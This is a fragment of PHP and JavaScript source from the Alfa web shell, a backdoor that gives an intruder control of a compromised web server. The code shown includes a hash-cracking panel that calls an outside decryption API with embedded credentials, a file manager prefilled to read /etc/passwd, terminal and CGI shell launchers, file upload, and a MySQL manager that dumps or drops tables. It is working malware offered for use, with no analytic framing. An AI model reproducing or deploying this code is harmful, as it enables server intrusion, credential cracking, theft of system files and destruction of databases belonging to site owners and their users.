array(\'md5\'=>\'MD5\',\'md4\'=>\'MD4\',\'sha1\'=>\'SHA1\',\'sha256\'=>\'SHA256\',\'sha384\'=>\'SHA384\',\'sha512\'=>\'SHA512\',\'ntlm\'=>\'NTLM\');\r\necho \'<center><div class="txtfont_header">| DeCrypter |</div><br><br>\r\n<form onsubmit="g(\\\'cpcrack\\\',null,\\\'dec\\\',this.md5.value,\\\'>>\\\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">\';\r\nforeach($algorithms as $key=>$val){echo(\'<option value="\'.$key.\'">\'.$val.\'</option>\');}\r\necho\'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>\';\r\nif($_POST[\'alfa3\'] == \'>>\'){\r\n$hash = $_POST[\'alfa2\'];\r\nif(!empty($hash)){\r\n$hash_type = $_POST[\'alfa4\'];\r\n$email = "solevisible@gmail.com";\r\n$code = "7b9fa79f92c3cd96";\r\n$target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;\r\n$resp = @file_get_contents($target);\r\nif($resp==\'\'){\r\n$get = new AlfaCURL();\r\n$resp = $get->Send($target);\r\n}\r\necho __pre().\'<center>\';\r\nswitch($resp){\r\n\tcase(\'CODE ERREUR : 001\'):echo "<b><font color=\'red\'>You exceeded the 400 allowed request per day</font></b>";break;\r\n\tcase(\'CODE ERREUR : 003\'):echo "<b><font color=\'red\'>Your request includes more than 400 hashes.</font></b>";break;\r\n\tcase(\'CODE ERREUR : 004\'):echo "<b><font color=\'red\'>The type of hash you provide in the argument hash_type doesn\'t seem to be valid</font></b>";break;\r\n\tcase(\'CODE ERREUR : 005\'):echo "<b><font color=\'red\'>The hash you provide doesn\'t seem to match with the type of hash you set.</font></b>";break;\r\n}\r\nif(substr($resp,0,4)!=\'CODE\'&&$resp!=\'\'){\r\necho "<b>Result: <font color=\'green\'>".$resp."</font></b>";\r\n}elseif(substr($resp,0,4)!=\'CODE\'){\r\necho "<font color=\'red\'>NoT Found</font><br />";\r\n}\r\necho(\'</center>\');\r\n}\r\n}\r\n}\r\nif($_POST[\'alfa1\']==\'analyzer\'){\r\necho \'<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>\r\n<form onsubmit="g(\\\'cpcrack\\\',null,\\\'analyzer\\\',this.hash.value,\\\'>>\\\');return false;">\r\n<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>\';\r\nif($_POST[\'alfa3\'] == \'>>\'){\r\n$hash = $_POST[\'alfa2\'];\r\nif(!empty($hash)){\r\n$curl = new AlfaCURL();\r\n$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");\r\necho(__pre().\'<center>\');\r\nif(preg_match(\'#<fieldset class="trouve">(.*?)</fieldset>#\',$resp,$s)){\r\n\techo(\'<font color="green">\'.$s[1].\'</font>\');\r\n}else{\r\n\techo(\'<font color="red">Not Found...!</font>\');\r\n}\r\necho(\'</center><br>\');\r\n}\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfafooter(){\r\nif(!isset($_POST[\'ajax\'])){\r\necho "<table class=\'foot\' width=\'100%\' border=\'0\' cellspacing=\'3\' cellpadding=\'0\' >\r\n<tr>\r\n<td width=\'17%\'><form onsubmit=\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,\'mkfile\',\'\',\'\',\'\',\'file\');this.f.value=\'\';return false;\\"><span class=\'footer_text\'>Make File : </span><br><input class=\'dir\' type=\'text\' name=\'f\' value=\'\'> <input type=\'submit\' value=\' \'></form></td>\r\n<td width=\'21%\'><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);this.d.value=\'\';return false;\\"><span class=\'footer_text\'>Make Dir : </span><br><input class=\'dir\' type=\'text\' name=\'d\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>\r\n<td width=\'22%\'><form onsubmit=\\"g(\'FilesMan\',null,\'delete\',this.del.value);this.del.value=\'\';return false;\\"><span class=\'footer_text\'>Delete : </span><br><input class=\'dir\' type=\'text\' name=\'del\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>\r\n<td width=\'19%\'><form onsubmit=\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,\'chmod\',\'\',\'\',\'\',\'none\');this.f.value=\'\';return false;\\"><span class=\'footer_text\'>Chmod : </span><br><input class=\'dir\' type=text name=f value=\' \'> <input type=\'submit\' value=\' \'></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\'2\'><form onsubmit=\'g(\\"FilesMan\\",this.c.value,\\"\\");return false;\'><span class=\'footer_text\'>Change Dir : </span><br><input class=\'foottable\' id=\'footer_cwd\' type=\'text\' name=\'c\' value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'> <input type=\'submit\' value=\' \'></form></td>\r\n<td colspan=\'2\'><form onsubmit=\\"editor(this.file.value,\'view\',\'\',\'\',\'\',\'file\');return false;\\"><span><span class=\'footer_text\'>Read File : </span></span><br><input class=\'foottable\' type=\'text\' name=\'file\' value=\'/etc/passwd\'> <input type=\'submit\' value=\' \'></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\'4\'><form style=\'margin-top: 10px;\' onsubmit=\\"return false;\\" autocomplete=\'off\'><span><span class=\'footer_text\'>Execute :</span><br><button onClick=\'alfaOpenPhpTerminal();return false;\' class=\'foottable alfa_custom_cmd_btn\'><img style=\'width:28px;vertical-align: middle;\' src=\'http://solevisible.com/icons/menu/terminal.svg\'> Terminal</button><br></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\'4\'><form onsubmit=\'u(this);return false;\' name=\'footer_form\' method=\'post\' ENCTYPE=\'multipart/form-data\'>\r\n<input type=\'hidden\' name=\'a\' value=\'FilesMAn\'>\r\n<input type=\'hidden\' name=\'c\' value=\'" . $GLOBALS[\'cwd\'] ."\'>\r\n<input type=\'hidden\' name=\'ajax\' value=\'true\'>\r\n<input type=\'hidden\' name=\'alfa1\' value=\'uploadFile\'>\r\n<input type=\'hidden\' name=\'charset\' value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n<span class=\'footer_text\'>Upload file: </span><span><button id=\'addup\' onclick=\'addnewup();return false;\'><b>+</b></button></span><p id=\'pfooterup\'><label class=\'inputfile\' for=\'footerup\'><span id=\'__fnameup\'></span> <strong> Choose a file</strong></label><input id=\'footerup\' class=\'toolsInp\' type=\'file\' name=\'f[]\' onChange=\'handleup(this,0);\' multiple></p><input type=\'submit\' name=\'submit\' value=\' \'></form><div id=\'alfa-copyright\'><span class=\'copyright\'>[ ./AlfaTeam © 2012-".date(\'Y\')." ]</span><br><span><a href=\'javascript:void(0);\' onclick=\'alert(\\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\\");\' style=\'color: #E91E63;text-decoration: none;\'>Donate Us !</a></span> <span style=\'letter-spacing: 2px;color: #dfff00;\'>solevisible[at]gmail.com</span> <span><a style=\'color: #ff6060;text-decoration: none;\' target=\'_blank\' href=\'https://telegram.me/solevisible\'>@solevisible</a></span></div></td>\r\n</tr>\r\n</table>\r\n</div>\r\n\r\n<div id=\'options_window\' style=\'background:rgba(0, 0, 0, 0.69);\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"options_window\\");\'></div><div onClick=\'editorClose(\\"options_window\\");\' class=\'close-button\'></div></div></div><div style=\'height:100%;\' class=\'content_options_holder\'><div class=\'options_tab\'></div><div class=\'options_content\' style=\'margin-left:14px;margin-right:30px;background:#000;overflow:auto;\'></div></div></div></div>\r\n\r\n<div id=\'database_window\' style=\'background:rgba(0, 0, 0, 0.69);\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'>Sql Manager</div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"database_window\\");\'></div><div onClick=\'editorClose(\\"database_window\\");\' class=\'close-button\'></div></div></div><div class=\'content_options_holder\' style=\'margin-left:14px;margin-right:30px;background:#000;max-height:90%;\'><div class=\'sql-tabs\'></div><div class=\'sql-contents\' style=\'max-height: 85vh;\'></div></div></div></div>\r\n\r\n<div id=\'cgiloader\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"cgiloader\\");\'></div><div onClick=\'editorClose(\\"cgiloader\\");\' class=\'close-button\'></div></div></div><div id=\'cgiframe\' style=\'position:relative;margin-left:14px;margin-right:30px;\'><div class=\'terminal-tabs\'></div><div style=\'height:90%;\' class=\'terminal-contents\'></div></div></div></div>\r\n<div id=\'editor\' style=\'display:none;\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'editor-path\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"editor\\");\'></div><div onClick=\'editorClose(\\"editor\\");\' class=\'close-button\'></div></div></div><div onclick=\'historyPanelController(this);\' mode=\'visible\' class=\'history-panel-controller\'><<</div><div class=\'editor-explorer\'><div class=\'hheader\'><div class=\'history-clear\' onclick=\'clearEditorHistory();\'>Clear all</div><div class=\'hheader-text\'>History</div><div class=\'editor-search\'><input type=\'text\' style=\'text-align:center;\' id=\'search-input\' placeholder=\'search\'></div></div><div class=\'history-list\'></div></div><div class=\'editor-modal\'><div class=\'editor-body\'><div class=\'editor-content\'><div class=\'editor-tabs\'></div><div class=\'editor-content-holder\'></div></div></div></div></div></div>\r\n<div id=\'update-content\'></div>\r\n<div id=\'database_window-minimized\' onclick=\'showEditor(\\"database_window\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div class=\'minimized-text\' style=\'top: 15px;\'>Database</div></div></div>\r\n<div id=\'options_window-minimized\' onclick=\'showEditor(\\"options_window\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 4px;\' class=\'minimized-text\'>Options</div></div></div>\r\n<div id=\'editor-minimized\' onclick=\'showEditor(\\"editor\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 2px;\' class=\'minimized-text\'>Editor</div></div></div>\r\n<div id=\'cgiloader-minimized\' onclick=\'showEditor(\\"cgiloader\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 12px;\' class=\'minimized-text\'>Cgi Shell</div></div></div>\r\n<div id=\'rightclick_menu\'>\r\n <a target=\'_blank\' href=\'\' name=\'newtab\'><img src=\\"http://solevisible.com/icons/menu/newtab.svg\\"> Open in new tab</a>\r\n <a target=\'_blank\' href=\'\' name=\'link\'><img src=\\"http://solevisible.com/icons/menu/link.svg\\"> Open file directly</a>\r\n <a href=\'javascript:void(0);\' name=\'download\'><img src=\\"http://solevisible.com/icons/menu/download2.svg\\"> Download</a>\r\n <a href=\'\' name=\'view\'><img src=\\"http://solevisible.com/icons/menu/view.svg\\"> View</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'view_archive\'><img src=\\"http://solevisible.com/icons/menu/view.svg\\"> View Archive</a>\r\n <a href=\'\' name=\'edit\'><img src=\\"http://solevisible.com/icons/menu/edit.svg\\"> Edit</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"move\\");\' ftype=\'\' path=\'\' fname=\'\' href=\'\' href=\'\' name=\'move\'><img src=\\"http://solevisible.com/icons/menu/move.svg\\"> Move</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"copy\\");\' ftype=\'\' path=\'\' fname=\'\' href=\'\' name=\'copy\'><img src=\\"http://solevisible.com/icons/menu/copy.svg\\"> Copy</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"rename\\");\' ftype=\'\' path=\'\' fname=\'\' name=\'rename\'><img src=\\"http://solevisible.com/icons/menu/rename.svg\\"> Rename</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"modify\\");\' ftype=\'\' path=\'\' fname=\'\' name=\'modify\'><img src=\\"http://solevisible.com/icons/menu/time.svg\\"> Modify</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"permission\\");\' name=\'permission\'><img src=\\"http://solevisible.com/icons/menu/key.svg\\"> Change Permissions</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'compress\'><img src=\\"http://solevisible.com/icons/menu/resize.svg\\"> Compress</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'extract\'><img src=\\"http://solevisible.com/icons/menu/increase.svg\\"> Extract</a>\r\n <a href=\'javascript:void(0);\' name=\'delete\'><img src=\\"http://solevisible.com/icons/menu/delete.svg\\"> Delete</a>\r\n</div>\r\n<div id=\\"filesman-tab-full-path\\"></div>\r\n<div id=\'alert-area\' class=\'alert-area\'></div>\r\n<div class=\'cl-popup-fixed\' style=\'display:none;\'>\r\n\t<div id=\'shortcutMenu-holder\'>\r\n\t\t<div class=\'popup-head\'></div>\r\n\t\t\t<form autocomplete=\'off\' onSubmit=\'return false;\'>\r\n\t\t\t\t<label class=\'old-path-lbl\'></label>\r\n\t\t\t\t<div style=\'overflow: hidden;white-space: nowrap;text-overflow: ellipsis;\' class=\'old-path-content\'></div>\r\n\t\t\t\t<label style=\'margin-top:10px;\' class=\'new-filename-lbl\'>New file name</label>\r\n\t\t\t\t<input type=\'text\' name=\'fname\'>\r\n\t\t\t\t<div class=\'perm-table-holder\'>\r\n\t\t\t\t\t<table>\r\n\t\t\t\t\t <tbody>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td><b>Mode</b></td>\r\n\t\t\t\t\t <td>User</td>\r\n\t\t\t\t\t <td>Group</td>\r\n\t\t\t\t\t <td>World</td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Read</td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'ur\' value=\'4\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'gr\' value=\'4\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'wr\' value=\'4\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Write</td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'uw\' value=\'2\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'gw\' value=\'2\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'ww\' value=\'2\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Execute</td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'ux\' value=\'1\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'gx\' value=\'1\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'wx\' value=\'1\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Permission</td>\r\n\t\t\t\t\t <td><input style=\'width:60px;\' type=\'text\' name=\'u\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \\"u\\", [\\"u\\"]);\'></td>\r\n\t\t\t\t\t <td><input style=\'width:60px;\' type=\'text\' name=\'g\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \\"g\\", [\\"g\\"]);\'></td>\r\n\t\t\t\t\t <td><input style=\'width:60px;\' type=\'text\' name=\'w\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \\"w\\", [\\"w\\"]);\'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t </tbody>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t</div>\r\n\r\n\t\t\t</form>\r\n\t\t<div class=\'popup-foot\'>\r\n\t\t\t<button style=\'background: #2b5225;\' name=\'accept\' action=\'\' onclick=\'alfaPopUpDoAction(this);\'></button>\r\n\t\t\t<button style=\'background: #9e2c2c;\' onclick=\'d.querySelector(\\".cl-popup-fixed\\").style.display=\\"none\\";\'>Cancell</button>\r\n\t\t</div>\r\n\t</div>\r\n</div>";?>\r\n<script>\r\nfunction alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\\\[\\\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\\\[\\\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href=\'javascript:void(0);\' onclick=\'g(\\"FilesTools\\",null,\\""+s+\'","download");\\\'><span>Download: \'+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r=\'<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="\'+a+\'" placeholder="Filter Table" target=".cls-\'+i+\'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>\';for(var o in e)null!=e[o]&&(r+="<li><div class=\'block\'><i></i><b></b></div><div class=\'tables-row\'><input type=\'checkbox\' name=\'tbl[]\' value=\'"+e[o].name+"\'> <a class=\'db-opt-id\' db_target=\'"+i+"\' db_id=\'"+a+"\' href=\'javascript:void(0);\' onclick=\\"alfaLoadTableData(this, \'"+e[o].name+"\')\\"><span class=\'mysql_tables\' style=\'font-weight:unset;\'>"+e[o].name+"</span></a>"+(l?" <small><span style=\'font-weight:unset;\' class=\'mysql_table_count\'>("+e[o].count+")</span></small>":" ")+"</div></li>");r+=\'</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="\'+a+\'" class="db-opt-id" target=".cls-\'+i+\'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="\'+a+\'" target=".cls-\'+i+\'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="\'+a+\'" class="db-opt-id" db_target="\'+i+\'" target=".cls-\'+i+\'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>\',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style=\'padding-left: 50px;\'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style=\'padding-left: 50px;\'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="<<",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML=">>",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name=\'"+e.columns[u].name+"\'><option value=\'=\'>=</option><option value=\'!=\'>!=</option><option value=\'>\'>></option><option value=\'>=\'>>=</option><option value=\'<\'><</option><option value=\'<=\'><=</option><option value=\\"= \'\'\\">= \'\'</option><option value=\\"!= \'\'\\">!= \'\'</option><option value=\'LIKE\'>LIKE</option><option value=\'LIKE %...%\'>LIKE %...%</option><option value=\'NOT LIKE\'>NOT LIKE</option><option value=\'REGEXP\'>REGEXP</option><option value=\'REGEXP ^...$\'>REGEXP ^...$</option><option value=\'NOT REGEXP\'>NOT REGEXP</option><option value=\'IN (...)\'>IN (...)</option><option value=\'NOT IN (...)\'>NOT IN (...)</option><option value=\'BETWEEN\'>BETWEEN</option><option value=\'NOT BETWEEN\'>NOT BETWEEN</option><option value=\'IS NULL\'>IS NULL</option><option value=\'IS NOT NULL\'>IS NOT NULL</option></select></td><td><input type=\'"+p+"\' name=\'"+e.columns[u].name+"\'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td><select name=\'sel_"+e.columns[u].name+"\'>"+f+"</select></td><td><input name=\'value_"+e.columns[u].name+"\' type=\'text\' value=\'"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"\'></td><td><button col_name=\'"+e.columns[u].name+"\' tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlAlterTbl(this);return false;\'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name=\'"+e.columns[u].name+"\' rows=\'5\'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type=\'number\' name=\'"+e.columns[u].name+"\' value=\'\'>";break;default:m="<input type=\'text\' name=\'"+e.columns[u].name+"\' value=\'\'>"}r+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style=\'margin-left:20px;\'><button tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlUpdateRow(this, \\"insert\\");return false;\'>Insert</button></div><div class=\'mysql-insert-result\'></div>",o+="</table><div class=\'mysql-structure-qres\'></div>",n+="</table><div style=\'padding-left: 384px;margin-top: 15px;\'><button tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlSearch(this);return false;\'>Search</button></div>",e.pages>0){l+="<span style=\'cursor:pointer;\' 